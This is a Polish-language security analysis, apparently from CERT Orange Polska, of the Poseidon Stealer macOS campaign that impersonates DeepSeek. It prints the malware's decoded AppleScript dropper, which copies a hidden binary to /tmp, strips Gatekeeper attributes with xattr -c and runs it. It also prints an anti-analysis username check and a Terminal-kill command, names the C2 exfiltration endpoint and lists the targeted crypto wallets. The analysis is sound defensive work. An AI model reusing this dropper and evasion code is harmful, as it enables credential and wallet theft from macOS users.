DeepSeek? Nie – to Poseidon Stealer na MacOS

cert.orange.pl 6 dni temu

Korzystacie z narzędzi AI? Sztuczna inteligencja zyskała w ostatnim czasie taką popularność, iż ciężko znaleźć kogoś, kto choć raz nie spytał o coś ChataGPT/Gemini/DeepSeeka. A skoro rośnie ich popularność wśród ludzi, zaczynają się pojawiać jako wektor ataku. Przyjrzyjmy się szczegółowo najnowszej kampanii Poseidon Stealer, podszywającej się pod DeepSeek.

W lutym 2025 odkryto zaawansowaną kampanię, podszywającą się pod DeepSeek. Tym razem skupiono się na użytkownikach systemu macOS. Atak zawierał kilka interesujących naszym zdaniem elementów: technikę SeoPoisoining, fałszywą stronę DeepSeek, czy paczkę DMG z malware, podobieństwo do analizowanego przez nas AMOS Stealera, tradycyjne kanały eksfiltracji danych.

Prawie jak DeepSeek

Atak polegał na dystrybucji złośliwego systemu Poseidon Stealer za pośrednictwem fałszywej strony internetowej, która podszywała się pod platformę DeepSeek AI. Rozpoczynał się od standardowej w tym przypadku kampanii malvertisingowej, kierującej użytkowników na domenę deepseek.exploreio[.]net.

Strona była kopią platformy DeepSeek AI. Po kliknięciu przycisku „Download for Mac OS” (Pobierz dla Mac OS), użytkownik pobierał plik DMG o nazwie DeepSeek_v.[0-9].[0-9]{02}.dmg z domeny manyanshe[.]com.

Po zamontowaniu DMG w systemie, użytkownik uruchamiał złośliwy skrypt powłoki, który podszywał się pod pakiet aplikacji DeepSeek.

Pobierany skrypt zakodowany był base64 i wyglądał następująco:

Powyższy skrypt definiuje trzy zmienne (wDwyQrpH, IxOudLSd, SkkdUOuJ) które zawierają fragmenty zakodowanego kodu w Base64. Następnie skleja je w jedną długą zmienną funcname a następnie używa polecenia base64 –decode, aby przywrócić oryginalną funkcję. Na końcu uruchamia ją dzięki bash -c.

Po zdekodowaniu wyglądał on nieco bardziej przejrzyście:

Co robi Poseidon Stealer?

Powyższy kod na początku wyszukuje woluminy i pobiera listę zamontowanych dysków.

osascript -e 'on run
try
set volumeList to list disks
end try
set setupVolume to ""
try

Następnie sprawdza obecność woluminu DeepSeek, przeszukuje listę woluminów i sprawdza, czy istnieje napęd o nazwie DeepSeek. jeżeli tak, przypisuje jego nazwę do zmiennej setupVolume.

repeat with vol in volumeList
if vol contains "DeepSeek" then
set setupVolume to vol
exit repeat
end if
end repeat

W kolejnym kroku kopiuje plik wykonywalny, tworzy ścieżkę do pliku .DeepSeek na zamontowanym woluminie oraz ścieżkę /tmp/.DeepSeek.

set scriptDir to "/Volumes/" & setupVolume & "/"
set executableName to ".DeepSeek"
set executablePath to scriptDir & executableName
set tmpExecutablePath to "/tmp/" & executableName

usuwa stary plik /tmp/.DeepSeek.

do shell script "rm -f " & quoted form of tmpExecutablePath

kopiuje .DeepSeek z zamontowanego woluminu do /tmp/.

do shell script "cp " & quoted form of executablePath & " " & quoted form of tmpExecutablePath

usuwa atrybuty zabezpieczeń (Gatekeeper) dzięki xattr -c.

do shell script "xattr -c " & quoted form of tmpExecutablePath

nadaje uprawnienia do wykonywania (chmod +x).

do shell script "chmod +x " & quoted form of tmpExecutablePath

oraz uruchamia plik /tmp/.DeepSeek.

do shell script quoted form of tmpExecutablePath

Poseidon Stealer posiada również mechanizmy anty-debuggingowe. Sprawdza obecność debuggera dzięki funkcji ptrace(), a następnie używa polecenia sysctl do inspekcji flagi P_TRACED w statusie procesu. jeżeli nazwa użytkownika odpowiada typowym aliasom, takim jak „maria” czy „jackiemac”, malware kończy swoje działanie:

osascript -e 'if (short user name of (system info)) is "maria" or (short user name of (system info)) is "run" or (short user name of (system info)) is "jackiemac" or (short user name of (system info)) is "bruno" then error number -1'

a następnie uruchamia polecenie

disown; pkill Terminal

by odłączyć się od procesu nadrzędnego i usunąć ślady swojej obecności.

Co wykrada Poseidon Stealer?

Poseidon Stealer jest zaprojektowany głównie do gromadzenia danych z:

  • przeglądarek internetowych (pliki cookie, hasła i zapisane karty kredytowe z przeglądarek opartych na silniku Chromium)
  • portfeli kryptowalutowych (pełna lista na końcu tekstu)
  • systemowych pęków kluczy z bazy danych (jak /Library/Keychains/login.keychain-db_
  • plików użytkownika (dokumenth z rozszerzeniami *.txt, *.pdf, *.wallet)

Wykradzione dane są gromadzone w jednym pliku i eksfiltrowane dzięki poleceń curl na serwer C2 pod adresem hxxps://82.115.223[.]9/contact. Adres ten powiązany jest z innymi kampaniami malware typu infostealer, takimi jak wspominany AMOS, czy Redline. Warto zauważyć, iż w poprzednich kampaniach ten malware był dystrybuowany niemal tą samą metodą, z tą różnicą, iż podszywał się pod model AI Sora. Na tych łamach pisaliśmy też o innym malware kierowanym w użytkowników urządzeń z nadgryzionym jabłkiem – AMOS Stealer.

Warto zauważyć, iż atakujący w swoich działaniach śledzą pojawiające się nowe rozwiązania oraz zapotrzebowanie użytkowników, zaś motywy z wykorzystaniem AI stanowią w tej chwili jeden z głównych motywów kampanii z instalacją złośliwej aplikacji.

Kampania Poseidon Stealer dowodzi rosnącej skali ataków, wymierzonych w użytkowników macOS, łączących socjotechnikę, wieloetapowe droppery oraz zaawansowane techniki unikania zabezpieczeń. Jak powinniśmy radzić sobie z takim zagrożeniem? Przede wszystkim instalować jedynie treści ze sprawdzonych stron/serwisów. Zanim zapiszemy na komputer plik instalacyjny, obowiązkowo upewnijmy się, czy strona, z której go ściągamy, jest na pewno wiarygodna.

Lista portfeli kryptowalutowych, z których dane wykrada Poseidon Stealer:

5ire, Rise – Aptos, Finnie, Crypto Airdrops & Bounties, Crypto.com | Onchain Extension, Inspect – Crypto | NFTs | DeFi | Web3, Bitfinity, Razor, ZilPay, KardiaChain, Ultra, Leather, Cyano, Hycon Lite Client, FRWT Secure DeFi Crypto, Xverse: Buy Bitcoin, ABC, Clown, MadWallet, CLV, Solflare, EO.Finance: Crypto & Fiat, Zerion: for Web3 & NFTs, MetaMask, BNB Chain, Fewcha Move, Surf, MyTonWallet · My TON, OpenMask – TON, Oxygen, Ctrl, Leaf, DAppPlay, Tonkeeper — for TON, JaxxLiberty, Braavos – Starknet, Cosmostation, Fuelet, Wombat – Gaming for Ethereum & EOS, ICONex, KHC, Coin98 Extension: Crypto & Defi, ShibaWallet – Meme Crypto &NFT, BitMask, TezBox – Tezos, Harmony, XcelPay, Beam Web, Stargazer, Ronin, Phantom, NC: Crypto without fees, Carax, Guardian, Meteor, ROSE, EVER, Argent X – Starknet, Bitget – Crypto, Web3 | Bitcoin & USDT, XDCPay, Slope, NeoLine, OKX, BlockWallet, Suiet | Sui, Petra Aptos, Pontem Crypto – Eth, Sol, BTC +, Sender, Flow, XTON, Gate, Vanta, TronLink, MathWallet, iWallet, Martian Aptos & Sui Extension, Ethos Sui, Zapit: Crypto & P2P Exchange, Flint, CWallet, Manta, Pali, Suku, Polymesh, Legacy, Casper, Unknown, Bitverse, Tron & Explorer – Tronium, Freak’s Axie Extension, Privacy: Harbor – Crypto, Spacecy, ASI Alliance, Energy8, Nabox, Internet Money | Crypto, Forbole X, TON, Auro, Talisman, Cypher, YETI Web3.0, Metalet, Coinbase extension, Guarda, Trust, Virgo, Soter | Aleo, Fin For Sei, StarMask, MEW CX, Byone, Rabby, Core, Komodo, SubWallet – Polkadot, HBAR crypto, Twetch, Venom, FoxWallet | Aleo, ScaleWallet, Station, Exodus Web3, Compass for Sei, Enkrypt: ETH, BTC and Solana, Alby – Bitcoin for Lightning & Nostr, ONTO, Glass | Sui, Leap Cosmos, Klever, Keplr, Temple – Tezos, CoinWallet: BTC Crypto, Biport, Swash, Liquality, SafePal Extension, UniSat, Yoroi, Sui, CloverPool, Cirus: Crypto | Web3 | Earn Crypto, Unknown, Koala, Ramper, Eternl, OsmWallet – Your XRP, Bitwarden Password Manager

Idź do oryginalnego materiału